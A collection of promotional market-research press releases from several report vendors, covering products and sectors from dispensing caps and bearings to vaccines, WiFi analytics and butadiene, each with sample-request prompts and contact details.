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Convenience to the consumer has been the top priority of packaging manufacturers all over the globe. New formats of caps & closures are being introduced in the market, the hinged dispensing cap being one of them. Hinged dispensing cap market is expected to be driven by the demand for added value and premium products. The soaring demand for plastic caps and closures in the beverages sector is allowing the overall hinged dispensing caps market to gain impetus. The spiralling use of PET-based disposable bottles is translating into the greater sales of hinged dispensing caps. Also, higher levels of R & D investment and technical expertise are expected to further fuel the hinged dispensing caps market. The global hinged dispensing caps market is expected to expand at a healthy CAGR over the period of next five years.Request For Report Sample:Growing popularity among the end users such as pharmaceuticals where traditional forms of caps & closures were used is bolstering the demand of the global hinged dispensing caps market. Hinged dispensing caps are now being used for various other pouch formats as they promote not only the reusability but also ensure longer shelf life of the packaged product. The regulatory restrictions laid by the government in certain regions regarding the disposal of plastics is restraining the growth of the global hinged dispensing caps market. Introduction of hinged dispensing caps in pouch formats such as spout pouches is expected to bring in ample opportunities of growth for the global hinged dispensing caps market. Introduction of features such as child resistant hinged dispensing caps is a key trend prevailing in the global hinged dispensing caps market. The advent of bio based caps is also expected to create ample opportunities for growth of the global hinged dispensing caps market.Request For Report Table of Content (TOC):On the basis of geography, the global hinged dispensing caps market is segmented into North America, Asia Pacific, Latin America, Europe, and Middle East & Africa. North America is expected to lead the global hinged dispensing caps market attributed to its well established end user segments. The cosmetics and beverage end use industry is highly advanced in North America region which is anticipated to bolster the demand of the hinged dispensing caps. Asia Pacific is expected to expand at a comparatively high CAGR, mainly attributed to rising middle class population and disposable income in the region. Consumers in the APAC region are willing to pay for enhanced packaging types. Europe hinged dispensing caps market is anticipated to witness moderate growth due to economic slump in certain regions. Middle East & Africa hinged dispensing caps market is expected to witness sluggish growth over the forecast period.Some of the key players operating in the global hinged dispensing caps market are Mold-Rite Plastics, Maynard & Harris Plastics, O.Berk Company, Taplast SPA, Gil Plastic Products ltd., and Berlin Packaging L.L.C.Browse Premium Industry Research Report with Analysis:ABOUT US:Future Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services, which are personalized in nature. FMI delivers a complete packaged solution, which combines current market intelligence, statistical anecdotes, technology inputs, valuable growth insights, an aerial view of the competitive framework, and future market trends.CONTACT US:Future Market Insights616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesTel: +1-347-918-3531Email: sales@futuremarketinsights.comWebsite:
Composite Bearings Market to Reflect Impressive Growth Rate During 2017 - 2025

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A composite bearing is defined as an equipment that is employed to control friction and provide separation between two moving parts. The unique characteristic of a composite bearing is that it is made from a mixture of materials such as resin reinforced along with fiber. This includes friction-reducing lubricants and ingredients. Furthermore, composite bearings are customized to cater to individual requirements for many applications such as high temperature resistance.In terms of type, the composite bearings market is segmented into metal matrix and fiber matrix. In terms of end-user industry, the market can be segmented into agriculture, automotive, aerospace, marine, and mining and construction. In terms of geography, the market is segmented into Asia Pacific (APAC), Europe, North America, Latin America, and Middle East & Africa (MEA).A sample of this report is available upon request @Technological advancements coupled with new and sophisticated technology, providing superior mechanical properties and comparatively longer product life, is driving the expansion of the composite bearings market. This trend is persuading manufacturers to explore new business opportunities in the composite bearings market, which, in turn, is fueling the expansion of the market globally. Increase in awareness and popularity of composite bearings in the industrial and automotive sector is a key factor that is prompting the expansion of the market. Moreover, reduced or low maintenance cost is a significant factor that is increasing the demand for composite bearings in the market. Agriculture is a rapidly growing industry in the end-user segment of the composite bearings market. Composite bearings has a number of applications in the agriculture industry. Complete solutions and superior properties such as light weight, corrosion, and fatigue resistant are playing a vital role in the rise in demand for composite bearing compared to traditional single metal bearings in the agriculture industry. Moreover, operational stability and dimensional stability at comparatively higher temperatures are notable factors contributing to the expansion of the composite bearings market. High cost of raw materials and production cost are major restraining factors for the composite bearings market are the. Additionally, tough competition from existing single metal bearing manufacturers is a key factor that is restraining the expansion of the composite bearings market. Increase in demand of automotive and agricultural applications in emerging markets of Asia Pacific (APAC) along with various technological needs are acting as opportunities for the composite bearings market. Latest composite bearings in place of conventional and typical single metal bearings is also driving the growth in the composite bearings market. These factors are playing a vital role and are simultaneously affecting and contributing to the growth of the composite bearings market significantly. The composite bearings market is expanding significantly increasing due to high growth in construction, mining, agriculture, automotive, and large-scale industries globally. This, in turn, is increasing the demand for composite bearings. Manufacturers are continuously focusing on product development for the emerging markets as their opportunities to grow and increase their market share globally.To view TOC of this report is available upon request @In terms of geography, North America is a rapidly growing market for composite bearings followed by Asia-Pacific. Asia Pacific (APAC) is the fastest growing market for Composite Bearings. The U.S. and Canada are the leading contributors in North America. In terms of market share, Europe is the key segment and Germany is leading prominent contributor in the region. In Asia Pacific (APAC), Japan and China are leading contributors to this rapidly growing market in the region.The composite bearings market is fragmented with many established players. Key manufacturers in the market include Arkema, CIP Composites, ACM Composites, AST Bearings LLC, CSB Sliding Bearings Pvt. Ltd., Federal-Mogul Corporation, Mitsubishi Plastics, Inc. , Franklin Fiber Lamitex, Huntsman Corporation (U.S), GGB Bearing Technology, H4 Marine Limited, Polygon Company, RBC Bearings Incorporated Hycomp LLC, and Rexnord Corporation.About USTransparency Market Research (TMR) is a next-generation provider of syndicated research, customized research, and consulting services. TMRs global and regional market intelligence coverage includes industries such as pharmaceutical, chemicals and materials, technology and media, food and beverages, and consumer goods, among others. Each TMR research report provides clients with a 360-degree view of the market with statistical forecasts, competitive landscape, detailed segmentation, key trends, and strategic recommendations.Contact USTransparency Market ResearchState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030Website:Email: sales@transparencymarketresearch.com
Moulded Fiber/ Pulp Packaging Market : Analysis and Forecast upto 2024

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The need for eco-friendly and sustainable packaging has led to the development of moulded fiber packaging material. Moulded fiber material is made from recycled material such as newsprint or paperboard. On the basis of moulds used during manufacturing process, thickness of packaging and application, moulded fiber/ pulp packaging can be classified into four types which are transfer moulded, thick wall, processed and thermoformed. Transfer moulded type is used to in electronic consumer products packaging and egg trays and cartons. Thick wall type is used in packaging of heavy and non-fragile items. Processed type are customised moulded fiber/ pulp with special additives or slurry ingredients. In May 2016, HUHTAMAKI GROUP, a Finland based company expanded its production facility in Ivanteevka, Russia. The expansion included new production unit, warehouse and improvement of infrastructure. With this expansion, the company claims to meet the increasing demand for packaging in growing egg market in the region. Carlsberg, a Denmark based brewing company has entered into partnership with ecoXpac A/S, a Denmark based packaging product manufacturer to develop eco-friendly, biodegradable moulded fiber/ pulp based bottles.Read Report Overview @Moulded fiber/ pulp packaging is cost saving alternative as compared to other packaging types, which is the major driver for the growth of global moulded fiber/ pulp packaging market. The other advantages of this packaging type is that it is more durable under humid and high temperature conditions. The vibration absorption capability of moulded fiber/ pulp packaging is also better as compared to other packaging types. The ease of handling moulded fiber/ pulp packed product and environment friendly material has led to its use as plastic alternative, which is anticipated to boost the growth of global moulded fiber/ pulp packaging market. Stringent regulations and the increasing emphasis for sustainable development by food and beverage and consumer product manufacturers is anticipated to drive the growth of global moulded fiber/ pulp packaging market.The global moulded fiber/ pulp packaging market can be divided into five regions, namely North America, Latin America, Europe, Asia Pacific (APAC) and Middle East & Africa (MEA). APAC accounts for major share in moulded fiber/ pulp packaging market owing to the rise in demand for recyclable plastic alternatives for packaging. The growth of e-commerce retail sales also contributes to the growth of moulded fiber/ pulp packaging market in the region. APAC is followed by North America in terms of market share in global moulded fiber/ pulp packaging market. This is attributed to the well-established food processing industry in the region and increasing sales through modern trade stores and packed food items. Europe moulded fiber/ pulp packaging market is expected to register high CAGR over the forecast period due to increasing sustainable packaging industry in the region.Request to view Sample Report:Some of the key players in the global moulded fiber/ pulp packaging market are as follows:HUHTAMAKI GROUP,UFP Technologies, Inc. ,Henry Molded Products Inc. ,The Haddy Companies,Moulded Fibre Products Ltd.,KEIDING INC.,Brodrene Hartmann A/S,,EnviroPAK,Berkley International,Heracles Packaging Co. S.A.,Footprint, LLC,About UsTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.TMRs data repository is continuously updated and revised by a team of research experts so that it always reflects the latest trends and information. With extensive research and analysis capabilities, Transparency Market Research employs rigorous primary and secondary research techniques to develop distinctive data sets and research material for business reports.ContactTransparency Market ResearchState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Gas Pipeline Infrastructure Market Size Worth USD 2 Trillion by 2024

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MarketStudyReport.com Adds New Gas Pipeline Infrastructure Market research report for the period of 2017-2024 to its research database. The report presents a deep study of the market growth factors and drivers. The report spread across 245 pages with table and figures in it.Growing discoveries of unconventional reserves coupled with increasing number of gas fired power generation stations across the globe will drive the Gas Pipeline Infrastructure Market size. In 2016, the Energy Information Administration (EIA) published that shale production in the country surpassed 15.2 trillion cubic meter (tcm) in 2015 experiencing over 1.7 tcm year on year increase.Request a sample copy of Gas Pipeline Infrastructure Market Research Report @Global Gas Pipeline Infrastructure Market size is set to exceed USD 2 trillion by 2024, according to this new research report.Italy gas pipeline infrastructure market is projected to surpass cumulative installation of 300 ?000 km by 2024. Rising investments to develop transmission links to cross border transactions through offshore routes will complement the business growth. In 2016, Saipem entered into an agreement with Trans Adriatic Pipeline AG to develop 105 km of 36? offshore gas pipeline between coastlines of Italy and Albania.Rising energy demand across the developing economies owing to evolving substructure and rapid urbanization will foster the gas pipeline infrastructure market share. Increasing development has resulted in exponential growth of cross border exports and imports through pipeline networks. In 2016, the EIA reported that natural gas pipelines exports from Russia and Norway to Europe were raised by 16% in the last three quarters of 2015 when compared with 2014 level.Upsurge in the need to enhance the international natural gas trade to suffice the energy demand and generation targets will positively drive the transmission gas pipeline infrastructure market. In 2016, Spectra Energy and TransCanada awarded contract to combinedly build, own and operate the new pipeline from Texas to Tuxpan, Mexico. The aim of the USD 3.6 billion worth 270-km pipeline plan is to successfully supply the U.S. shale to power plants in Mexico by 2018.Enquire about this report @Increase in production of unconventional resources coupled with strict government norms toward adoption of low emission fuel will embellish the U.S. gas pipeline infrastructure market. Ongoing expansion of existing pipeline networks favored by increasing demand for exports will further complement the industry outlook. In 2017, the EIA published that natural gas production is expected to hold around 40% of the total energy production by 2020.Algeria gas pipeline infrastructure market is predicted to grow over 6% by 2024. Substantial administration funding for extension of the national transmission and distribution networks will augment the industry growth. In 2016, the Algerian government owned O&G company, Sonatrach announced to invest USD 3.2 billion over four years to enhance the pipeline capacity.Growing number of connected end users coupled with positive outlook toward hydrocarbons trade with nearby nations will propel the onshore gas pipeline infrastructure market. Regional governments have introduced targets and schemes to expand the existing network to reach customer base. In 2015, the Ministry of Energy and Natural Resources (MENR), Turkey underlined a strategic plan with an objective to add at least two more countries to the list of pipeline natural gas importing nations by 2019.Key players across the gas pipeline infrastructure market includes Europipe, Gazprom, Enbridge, Snam Rete, APA Group, Saipem, Perusahaan Gas Negara, GAIL India, Engas, and National Oilwell Varco.Related Reports: -Global Gas Pipeline Infrastructure Market Research Report 2017In this report, the global Gas Pipeline Infrastructure market is valued at USD XX million in 2016 and is expected to reach USD XX million by the end of 2022, growing at a CAGR of XX% between 2016 and ...About Us:Centralize market research purchases across your entire organization in one place. Marketstudyreport.com allows you to manage and control all corporate research purchases to consolidate billing and vendor management. You can eliminate duplicate purchases and customize your content and license management.Market Study ReportThe Green Suite #4594,Dover, DE 19901United StatesPhone: 1-201-355-0868US Toll Free: 1-866-764-2150Email: sales@marketstudyreport.comWebsite:News:
Food Preservatives Market Grow With $2,714 Million By 2023

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The global food preservatives market is expected to reach $2,714 million by 2023 from $2,271 million in 2016, registering a CAGR of 2.6% from 2017 to 2023. Preservatives are used in a wide range of products, such as snacks, bakery, confectionery, meat, seafood, and poultry, and others to preserve the natural characteristics of food and to increase the shelf life of food products for storage. In addition, food preservatives are used to avoid spoilage during transportation. Food is preserved by using either natural preservatives or artificial preservatives. The traditional natural ways of preservation include freezing, boiling, smoking, pasteurizing, pickling, and others. Sugar and salt are the earliest natural ways of food preservation that efficiently reduce the growth of bacteria in food.For More Info, Get Sample:Change in consumer preferences is expected to be one of the major factors that drives the demand for food preservatives. Increasing demand for convenience products has increased the demand for foods with longer shelf life, thus augmenting the demand for food preservatives. Rise in consumption of ready-to-eat food products has also driven the consumption of food preservatives in the recent past. Increase in demand for organic food products restrains the market growth. In addition, the health hazards associated with chemical preservatives are anticipated to hamper the growth of food preservatives market during the forecast period.The report segments the global food preservatives market based on type, function, application, and geography. Based on type, it is bifurcated into natural and synthetic. The natural food preservatives segment is further classified into sugar, salt, vinegar, honey, alcohol, edible oil, nicin, rosemary extracts, onion, and natamycin. The synthetic food preservatives segment is further categorized into sorbates, benzoates, propionates, and others. The sorbates segment is again bifurcated into sorbic acid and potassium sorbate. Benzoates are classified into benzoic acid and sodium benzoate. Propionates are categorized into propionic acid, sodium propionate, and calcium propionate. The others segment is classified into nitrites, sulfur dioxide, lactic acid, sodium diacetate, acetic acid. On the basis of function, the market is divided into an antimicrobials, antioxidants, and others. The application areas of the industry are broadly categorized into bakery; meat, poultry, and seafood; oils & fats, dairy & frozen foods; snacks; confectionery; beverages; and others. The market is analyzed based on four regions, namely, North America, Europe, Asia-Pacific, and LAMEA. Asia-Pacific is expected to dominate the global food preservatives market until 2023.The prominent players in the global food preservatives market have strategically focused on product launch as their key strategy to gain significant share in the market.The key players profiled in the report are as follows: Danisco A/S Akzo Nobel N.V. Kemin Industries, Inc. Cargill, Incorporated Hawkins Watts Limited Celanese Corporation Univar Inc. Koninklijke DSM N.V. Tate & Lyle Kerry GroupEnquire About Report :KEY BENEFITS FOR STAKEHOLDERS This report provides an extensive analysis of the current trends and emerging estimations in the global food preservatives market. In-depth analysis of the industry is conducted through market estimations of key segments from 2017 to 2023. Competitive intelligence of leading manufacturers and distributors of food preservatives helps to understand the competitive scenario across geographies. Comprehensive analysis of factors that drive and restrain the growth of the market is provided. Extensive analysis of the industry is conducted by following key product positioning and monitoring the top competitors within the market framework. The key players are profiled and their strategies to determine the competitive outlook of the market.KEY MARKET SEGMENTSBy Type Natural Sugar Salt Vinegar Honey Alcohol Edible Oil Nicin Rosemary Extracts Onion Natamycin Synthetic Sorbates Sorbic Acid Potassium Sorbate Benzoates Benzoic Acid Sodium Benzoate Propionates Propionic Acid Sodium Propionate Calcium Propionate Others Nitrites Sulfur Dioxide Lactic Acid Sodium Diacetate Acetic AcidAlso Request For Discount :By Function Antimicrobials Antioxidants OthersBy Application Bakery Meat, Poultry, and Seafood Oils & Fats Dairy & Frozen Foods Snacks Confectionery Beverages OthersBy Geography North America U.S. Canada Mexico Europe UK Germany France Spain Italy Rest of Europe Asia-Pacific China Japan India Korea Australia Rest of Asia-Pacific LAMEA Brazil KSA South Africa Rest of LAMEAThe Other players in the value chain, include: Brenntag Solutions Group, Inc. Galactic E. I. du Pont de Nemours and Company PuracBiochem B.V. Kilo Ltd. Ajinomoto Co. Inc. Albemarle CorporationTable Of Contents CHAPTER 1. INTRODUCTION CHAPTER 2. EXECUTIVE SUMMARY CHAPTER 3. MARKET OVERVIEW CHAPTER 4. GLOBAL FOOD PRESERVATIVES MARKET, BY TYPE CHAPTER 5. GLOBAL FOOD PRESERVATIVES MARKET, BY FUNCTION CHAPTER 6. GLOBAL FOOD PRESERVATIVES MARKET, BY APPLICATION CHAPTER 7. GLOBAL FOOD PRESERVATIVES MARKET, BY GEOGRAPHY CHAPTER 8. COMPANY PROFILESAbout UsWe have a large database of quality and precise market research reports that will be very beneficial for your organization. Reports that we sell our authentic in nature and from reputed publishers, hence it can definitely help you with your growth opportunities. Research Beam will always make sure to bring most ethical and high-quality reports. We value your relationship with us and look forward for a long term relation.Contact UsGlobal Head Quarters5933 NE Win Sivers Drive,#205, Portland, OR 97220United States+1 (800) 910-6452help@researchbeam.com
Global Infertility Treatment Market 2017 Industry Key Players -The Cooper Company, Thermo Fisher, Monash IVF Group, United Healthcare Group, CCRM, Merck &Co, Ferring Pharmaceutical.

Infertility Treatment Market

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Infertility Treatment Market:WiseGuyReports.com adds Infertility Treatment Market 2017 Global Analysis, Growth, Trends and Opportunities Research Report Forecasting to 2022reports to its database.Executive SummaryA comprehensive research report published in December 2017, through extensive primary research (inputs from industry experts, companies, stakeholders) and secondary research, the report aims to present the analysis of Global Infertility Treatment Market By Procedure (Assisted Reproductive Technique, Artificial Insemination, Fertility Surgery, Fertility Drugs, Other Procedures), By ART Type (IVF, ICSI, Other Procedure), Analysis By Patient Type (Male and Female), By Establishment (Fertility Clinics, Hospitals, Research Banks), By Region (North America, Europe, APAC, ROW) and By Country (USA, Canada, United Kingdom, Germany, France, India, China, Brazil, UAE, South Africa).Over the recent years, the global infertility treatment has been growing rapidly on account of rising awareness of infertility treatment through government awareness campaign, rising demand of IVF treatment worldwide and surge in medical tourism.According to Analytics research report, Global Infertility Treatment Market Analysis By Procedure (ART, Artificial Insemination, Fertility Surgery, Fertility Drugs, Others), Establishment (Fertility Clinics, Hospitals, Research Banks), By Region, By Country (2012-2022), global market is projected to display a robust growth represented by a CAGR of 8.25% during 2017  2022, chiefly driven by favourable government reforms as well as introduction of new techniques of IVF.Request Sample Report @Among the regions, Europe is predicted to advance at the highest rate, mainly driven by high acceptance of new techniques, rising medical tourism in UK and favourable insurance policies.The report titled, Global Infertility Treatment Market Analysis By Procedure (ART, Artificial Insemination, Fertility Surgery, Fertility Drugs, Others), Establishment (Fertility Clinics, Hospitals, Research Banks), By Region, By Country (2012-2022) has covered and analysed the potential of Global Infertility Treatment market provides statistics and information on market size, shares and growth factors. The report intends to provide cutting-edge market intelligence and help decision makers take sound investment evaluation. Besides, the report also identifies and analyses the emerging trends along with major drivers, challenges and opportunities in the global infertility treatment market. Additionally, the report also highlights market entry strategies for various companies across the globe.Scope of the ReportGlobal Market (Actual Period: 2012-2016, Forecast Period: 2017-2022) Infertility Treatment Market Infertility Treatment Procedure  ART or Assisted Reproductive Technique, Artificial Insemination, Fertility Surgery, Fertility Drugs, Other Procedures By ART Type - IVF, ICSI, Other Procedure Analysis By Patient Type - Male and FemaleRegional Markets  North America, Europe, APAC, ROW (Actual Period: 2012-2016 Forecast Period: 2017-2022) Infertility Treatment Market Infertility Treatment Procedure  ART or Assisted Reproductive Technique, Artificial Insemination, Fertility Surgery, Fertility Drugs, Other Procedures By ART Type - IVF, ICSI, Other Procedure Analysis By Patient Type - Male and FemaleCountry Analysis  United Kingdom, Germany, France, India, China, Brazil, Saudi Africa, UAE, U.S., Canada (Actual Period: 2012-2016, Forecast Period: 2017-2022) Infertility Treatment Market Infertility Treatment Procedure  ART or Assisted Reproductive Technique, Artificial Insemination, Fertility Surgery, Fertility Drugs, Other ProceduresOther Report Highlights Market Dynamics  Trends, Drivers, Challenges Policy and Regulation Company Analysis  The Cooper Company, Thermo Fisher, Monash IVF Group, United Healthcare Group, CCRM, Merck &Co, Ferring Pharmaceutical.Customization of the ReportThe report could be customized according to the clients specific research requirements. No additional cost will be required to pay for limited additional research.For further information on this report, visit -Table of content:1. Research Methodology2. Executive Summary3. Strategic Recommendations4. Infertility Treatment Market Outlook5. Global Infertility Treatment Market: Growth and Forecast6. Global Infertility Treatment Market - Analysis By Procedure7. Global Infertility Treatment Market- By ART Procedure8. Global Infertility Treatment Market- By Patient Type9. Global Infertility Treatment Market - By Establishment10. Global Infertility Treatment Market  Regional Analysis11. Global Infertility Treatment Market Dynamics12. Market Trends13. Porter's Five Force Analysis14. SWOT Analysis15. Policy and Regulations16. Company Profiles16.1. The Cooper company16.2. Thermo fisher16.3. Ferring Pharmaceuticals16.4. Merck & Co16.5. CCRM16.6. United Healthcare Group16.7. Monash IVF GroupContinuousBuy this Report @Contact Us:Norah Trentsales@wiseguyreports.comPh: +1-646-845-9349 (US); +44 208 133 9349 (UK)About Us:Wise Guy Reports Is Part Of The Wise Guy Consultants Pvt. Ltd. And Offers Premium Progressive Statistical Surveying, Market Research Reports, Analysis & Forecast Data For Industries And Governments Around The Globe. Wise Guy Reports Features An Exhaustive List Of Market Research Reports From Hundreds Of Publishers Worldwide. We Boast A Database Spanning Virtually Every Market Category And An Even More Comprehensive Collection Of Market Research Reports Under These Categories And Sub-Categories.Addres:WISEGUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersPune - 411028Maharashtra, IndiaPhone :+91 841 198 5042
WiFi Analystics Solution 2017 Global Market Key Players  Cisco Systems, Skyfii Limited, Purple, July Systems, Zebra Technologies Analysis and Forecast to 2022

WiFi Analystics Solution Market

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WiFi Analystics Solution Market 2017Wiseguyreports.Com adds WiFi Analystics Solution Market Market Demand, Growth, Opportunities, Analysis of Top Key Players and Forecast to 2022 To Its Research Database.Report Details:This report studies the global WiFi Analystics Solution market, analyzes and researches the WiFi Analystics Solution development status and forecast in United States, EU, Japan, China, India and Southeast Asia.This report focuses on the top players in global market, likeCisco Systems (US)Skyfii Limited (Australia)Purple (England)July Systems (US)Zebra Technologies (US)Euclid (US)Cloud4Wi (US)Fortinet (US)Ruckus Wireless (US)Yelp (US)Request a Sample Report @Market segment by Regions/Countries, this report coversUnited StatesEUJapanChinaIndiaSoutheast AsiaMarket segment by Type, the product can be split intoWi-Fi Based Location Analytics SolutionWi-Fi Based Indoor Positioning SystemsMarket segment by Application, WiFi Analystics Solution can be split intoFootfall analyticsCustomer engagementCustomer Experience Management (CEM)Customer loyalty managementCustomer analyticsComplete Report Details@Major Key Points in Table of Content:Global WiFi Analystics Solution Market Size, Status and Forecast 20221 Industry Overview of WiFi Analystics Solution1.1 WiFi Analystics Solution Market Overview1.1.1 WiFi Analystics Solution Product Scope1.1.2 Market Status and Outlook1.2 Global WiFi Analystics Solution Market Size and Analysis by Regions1.2.1 United States1.2.2 EU1.2.3 Japan1.2.4 China1.2.5 India1.2.6 Southeast Asia1.3 WiFi Analystics Solution Market by Type1.3.1 Wi-Fi Based Location Analytics Solution1.3.2 Wi-Fi Based Indoor Positioning Systems1.4 WiFi Analystics Solution Market by End Users/Application1.4.1 Footfall analytics1.4.2 Customer engagement1.4.3 Customer Experience Management (CEM)1.4.4 Customer loyalty management1.4.5 Customer analytics2 Global WiFi Analystics Solution Competition Analysis by Players2.1 WiFi Analystics Solution Market Size (Value) by Players (2016 and 2017)2.2 Competitive Status and Trend2.2.1 Market Concentration Rate2.2.2 Product/Service Differences2.2.3 New Entrants2.2.4 The Technology Trends in Future3 Company (Top Players) Profiles3.1 Cisco Systems (US)3.1.1 Company Profile3.1.2 Main Business/Business Overview3.1.3 Products, Services and Solutions3.1.4 WiFi Analystics Solution Revenue (Value) (2012-2017)3.1.5 Recent Developments3.2 Skyfii Limited (Australia)3.2.1 Company Profile3.2.2 Main Business/Business Overview3.2.3 Products, Services and Solutions3.2.4 WiFi Analystics Solution Revenue (Value) (2012-2017)3.2.5 Recent Developments3.3 Purple (England)3.3.1 Company Profile3.3.2 Main Business/Business Overview3.3.3 Products, Services and Solutions3.3.4 WiFi Analystics Solution Revenue (Value) (2012-2017)3.3.5 Recent Developments3.4 July Systems (US)3.4.1 Company Profile3.4.2 Main Business/Business Overview3.4.3 Products, Services and Solutions3.4.4 WiFi Analystics Solution Revenue (Value) (2012-2017)3.4.5 Recent Developments3.5 Zebra Technologies (US)3.5.1 Company Profile3.5.2 Main Business/Business Overview3.5.3 Products, Services and Solutions3.5.4 WiFi Analystics Solution Revenue (Value) (2012-2017)3.5.5 Recent Developments3.6 Euclid (US)3.6.1 Company Profile3.6.2 Main Business/Business Overview3.6.3 Products, Services and Solutions3.6.4 WiFi Analystics Solution Revenue (Value) (2012-2017)3.6.5 Recent Developments3.7 Cloud4Wi (US)3.7.1 Company Profile3.7.2 Main Business/Business Overview3.7.3 Products, Services and Solutions3.7.4 WiFi Analystics Solution Revenue (Value) (2012-2017)3.7.5 Recent Developments3.8 Fortinet (US)3.8.1 Company Profile3.8.2 Main Business/Business Overview3.8.3 Products, Services and Solutions3.8.4 WiFi Analystics Solution Revenue (Value) (2012-2017)3.8.5 Recent Developments3.9 Ruckus Wireless (US)3.9.1 Company Profile3.9.2 Main Business/Business Overview3.9.3 Products, Services and Solutions3.9.4 WiFi Analystics Solution Revenue (Value) (2012-2017)3.9.5 Recent Developments3.10 Yelp (US)3.10.1 Company Profile3.10.2 Main Business/Business Overview3.10.3 Products, Services and Solutions3.10.4 WiFi Analystics Solution Revenue (Value) (2012-2017)3.10.5 Recent DevelopmentsContinued.Buy now @Contact Us:NORAH TRENTPh: +1-646-845-9349 (US)Sales@Wiseguyreports.ComPh: +44 208 133 9349 (UK)ABOUT US:Wise Guy Reports is part of the Wise Guy Consultants Pvt. Ltd. and offers premium progressive statistical surveying, market research reports, analysis & forecast data for industries and governments around the globe. Wise Guy Reports features an exhaustive list of market research reports from hundreds of publishers worldwide. We boast a database spanning virtually every market category and an even more comprehensive collection of market research reports under these categories and sub-categories.ADDRES:WISE GUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersMagarpatta Road, HadapsarPune - 411028Maharashtra, India
Conjugate Vaccine Market to receive overwhelming hike in Revenues by 2025

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Conjugate vaccines are vaccines for infectious diseases. There are special polysaccharide coatings on some bacteria and viruses that help them to escape the immune system. An immature immune system can recognize these bacteria with the help of the conjugate vaccines, as these vaccines link the special polysaccharide coatings to an organism by producing immunity and response. The examples of conjugate vaccines are meningococcal vaccine to prevent meningitis, haemophilus influenzae type B (Hib) vaccine, and pneumococcal vaccine.Report Overview @Increased revenue from the sale of meningococcal vaccines and pneumococcal vaccines are driving the global conjugate vaccine market due to increasing advancements in the research and development. Increasing prevalence of infectious diseases and rising awareness toward prevention of these disease is anticipated to boost the global conjugate vaccine market during the forecast period. However, long time interval between the introduction of new conjugate vaccines in low-income countries and high-income countries is likely to restrain the global conjugate vaccine market. According to the U.S. National Library of Medicine, National Institutes of Health, high mortality and morbidity are caused due to vaccine-preventable diseases. In 2010, 87% of the population of high-income countries had pneumococcal conjugate vaccines in their immunization schedules, whereas only 2% had pneumococcal conjugate vaccines in their immunization schedules among the total population of low-income countries.Request brochure @The global conjugate vaccine market can be classified on the basis of product type, disease indication, pathogen type, patient type, and region. In terms of product type, the global conjugate vaccine market can be segmented into multivalent conjugate vaccines and monovalent conjugate vaccines. The monovalent conjugate vaccines segment held the major share of the market in 2016 due to the high awareness and high quality vaccines provided by key players. However, the multivalent conjugate vaccines segment is anticipated to expand in the near future due to the improvements in technology and government initiatives.In terms of disease indication, the global conjugate vaccine market can be segmented into meningococcal, diphtheria tetanus pertussis, influenza, pneumococcal, and others. The diphtheria tetanus pertussis segment of the global conjugate vaccine market expanded in 2016 due to its high prevalence and highly contagious nature of the respiratory tract infection. The pneumococcal segment of the global conjugate vaccine market is anticipated to expand during the forecast period, as it is the most attractive segment in the market, in terms of technology. In terms of pathogen type, the global conjugate vaccine market can be segmented into combination (viral and bacterial) conjugate vaccine, viral conjugate vaccine, and bacterial conjugate vaccine. In terms of patient type, the market can be segmented into adults conjugate vaccine and pediatrics conjugate vaccine. The pediatrics conjugate vaccine segment held a major share of the global market in 2016 due to the high prevalence of infectious diseases among children.Geographically, the global conjugate vaccine market can be segmented into Asia Pacific, Europe, North America, Latin America, and Middle East & Africa. In terms of technology, North America is projected to be the most attractive market for conjugate vaccine during the forecast period, due to rise in demand for pneumococcal, meningococcal vaccines, and other conjugate vaccines. The market in Asia Pacific is anticipated to expand during the forecast period due to increasing immunization initiatives by organizations such as GAVI and World Health Organization in emerging economies such as India and China. Increasing focus of major players on the market in India and governmental initiatives for infectious diseases are likely to fuel the demand for the conjugate vaccines in the region.Key players operating in the global conjugate vaccine market include Serum Institute of India Pvt. Ltd., Sanofi Pasteur, Pfizer, Inc., Novartis AG, Neuron Biotech, Merck & Co., Inc., GlaxoSmithKline plc, CSL Behring, Biological E, and Bharat Biotech.Pre Book full report@The report offers a comprehensive evaluation of the market. It does so via in-depth qualitative insights, historical data, and verifiable projections about market size. The projections featured in the report have been derived using proven research methodologies and assumptions. By doing so, the research report serves as a repository of analysis and information for every facet of the market, including but not limited to: Regional markets, technology, types, and applications.About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.ContactTransparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:TMR Blog:
Global Synthetic & Bio-based Butadiene Market is Likely to Reach US$ 23.45 Bn in 2023

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Transparency Market Research has published a new report titled Butadiene (Synthetic and Bio-based) Market - Global Industry Analysis, Size, Share, Growth, Trends and Forecast, 2015 - 2023. According to the report, the global synthetic & bio-based butadiene market for was valued at US$ 15.24 Bn in 2014 and is anticipated to reach US$ 23.45 Bn by 2023, expanding at a CAGR of 4.9% between 2015 and 2023.To view TOC of this report is available upon request @Butadiene is one of the major petrochemical and holds significant importance in end-user industries such as automotive and tire. High demand from tire and automotive industries is driving demand for synthetic & bio-based butadiene during the last few years. Butadiene derivatives such as SB rubber, ABS, and butadiene rubber are used in the processing of tires and automotive parts. SB rubber products such as S-SBR and E-SBR are primarily consumed raw materials in the production of tires. These materials provide low rolling resistance and better grip, thus resulting in reduced CO2 emissions and improved fuel economy. Rise in demand for ABS in Asia Pacific, especially in China and Southeast Asia, is another key factor propelling growth of the market for synthetic & bio-based butadiene. Furthermore, development of innovative technological processes for the production of bio-based butadiene is likely to fuel the butadiene market in the near future. However, volatility in raw material prices coupled with stringent environmental regulations are expected to hinder the market growth during the forecast period.Synthetic butadiene was the largest product segment, accounting for a significant share of the global synthetic & bio-based butadiene market in 2014. 